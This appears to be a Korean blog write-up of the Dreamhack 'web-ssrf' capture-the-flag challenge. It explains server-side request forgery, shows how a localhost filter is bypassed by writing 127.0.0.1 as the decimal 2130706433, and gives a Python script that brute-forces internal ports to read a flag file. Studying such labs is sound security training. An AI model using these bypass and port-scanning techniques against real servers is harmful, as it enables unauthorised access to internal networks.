본문 바로가기

카테고리 없음

[dreamhack] web-ssrf

728x90

이번 문제는 SSRK 취약점을 이용한 문제이다.


SSRF란?

- 공격자가 서버 측에서 원격 서비스 또는 리소스에 HTTP 요청을 보내도록 서버를 속이는 공격

- 공격자는 서버에서 외부 리소스에 대한 HTTP 요청을 보낼 수 있으며, 이를 통해 내부 네트워크나 인트라넷에 접근할 수 있음

- APT 공격자들은 SSRF를 통해 내부 네트워크의 서비스 및 리소스에 접근하여 기밀 정보를 획득하거나 공격의 다른 단계를 위한 기바늘 마련

- SSRF 공격을 통해 공격자는 서버의 중요 정보나 데이터를 노출시키거나, 다른 시스템에 대한 스캔 및 공격을 수행할 수 있음


문제 풀이

서버 접속 화면

 

문제 서버에 접속하면 위와 같은 화면이다. Image Viewer 링크가 하나 주어져 있다.

 

Image Viewer

 

Image Viewer 링크에 들어가면 위와 같은 화면이다.

 

 

View 버튼을 누르면 위와 같이 dreamhack 이미지가 나온다.

Image Viewer은 url을 입력해서 전송하면 그에 맞는 이미지를 출력해주는 기능을 하는 것 같다.

 

코드를 열어서 구체적인 기능을 살펴봐야겠다.

코드 분석

Image Viewer 기능

- POST 방식으로 url을 전송한다

- url이 localhost 또는 127.0.0.1인 경우에는 error.png를 응답한다.

- localhost 검증을 통과했다면, url 주소로 request 요청한 결과를 img 형태로 생성하고 응답한다.

- HTTPServer 함수로 랜덤 포트를 지정하여 localhost 주소의 내부 네트워크 웹서버를 오픈한다.

- 내부 네트워크의 /flag.txt 에 접근하면 flag를 획득할 수 있다.

 

 

host를 검증하는 부분을 보면 localhost와 127.0.0.1만 필터링한다.

내부 네트워크에 접근하지 못하도록 검증하는 부분이다.

하지만 위와 같은 검증은 키워드를 우회해서 내부 네트워크의 /flag.txt 를 요청할 수 있다는 취약점이 있다.

 

*주의할 점

- 내부 네트워크는 1500~1800번 포트 중에 랜덤으로 선택되어 오픈된다.

- 포트 번호를 브루트포싱해서 내부 네트워크 웹서버를 찾아야한다.

 

*문제 풀이 방법 정리

1. localhost, 127.0.0.1 키워드 우회

2. 1500~1800번 포트를 브루트포싱해서 포트 찾기

3. 내부 네트워크 /flag.txt 에 접근해서 flag 획득

 

1. localhost, 127.0.0.1 키워드 우회

 

localhost 검증 코드를 보면 문자열 키워드를 정적으로 작성해서 필터링하므로 127.0.0.1을 난독화해서 사용하면 이를 우회할 수 있다.

 

https://127.0.0.1:[포트 번호]/flag.txt

 

ssrf payload 이다.

localhost 검증을 우회해야하므로 여기서 127.0.0.1을 난독화해서 바꿔준다.

https://2130706433:[포트 번호]/app/flag.txt

 

 

2. 1500~1800번 포트를 브루트포싱해서 포트 찾기

from requests import *
for i in range(1500,1800):
    url='http://host3.dreamhack.games:16246/img_viewer'
    data={'url':f"http://2130706433:{i}/flag.txt"}
    response=post(url=url,data=data)
    if response.text.find('iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWn') == -1:
        print('[+] port number :',i)
        print(response.text)

 

브루트포싱 코드이다.

포트가 올바르지 않은 경우에는 error.png을 응답할 것이므로 error.png 응답 base64 인코딩 데이터를 가져와서 응답결과로 error.png의 base64 데이터가 경우에는 로컬 네트워크 웹서버의 포트가 맞는 것으로 판단하도록 브루트포싱을 수행한다.

 

*IPObfuscator을 참고했다.

 

https://github.com/OsandaMalith/IPObfuscator.git

 

GitHub - OsandaMalith/IPObfuscator: A simple tool to convert the IP to a DWORD IP

A simple tool to convert the IP to a DWORD IP . Contribute to OsandaMalith/IPObfuscator development by creating an account on GitHub.

github.com

 

 

위 코드를 통해 포트번호를 알아냈다.

 

3. 내부 네트워크 /flag.txt 에 접근해서 flag 획득

 

 

위 코드에서 포트번호를 알아내고, 알아낸 포트번호로 flag.txt에 접근하여 서버로부터의 응답이 출력되었는데 그 안에서 base64 인코딩된 값 또한 얻을 수 있었다.

 

 

이를 base64 디코딩 해주면 이렇게 flag 값을 얻을 수 있다.

그냥 구글에 검색해서 맨위에 뜨는 사이트 들어가서 디코딩 해줬다.

https://www.base64decode.org/ko/

 

Base64 디코딩 및 인코딩 - 온라인

Base64 형식에서 디코딩해보세요. 아니면 다양한 고급 옵션으로 인코딩해보세요. 저희 사이트에는 데이터 변환하기에 사용하기 쉬운 온라인 도구가 있습니다.

www.base64decode.org

 

끗...

 

https://dreamhack.io/wargame/challenges/75

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. 문제 수정 내역 2023.07.17 css, html 제공 Reference Server-side Basic

dreamhack.io

728x90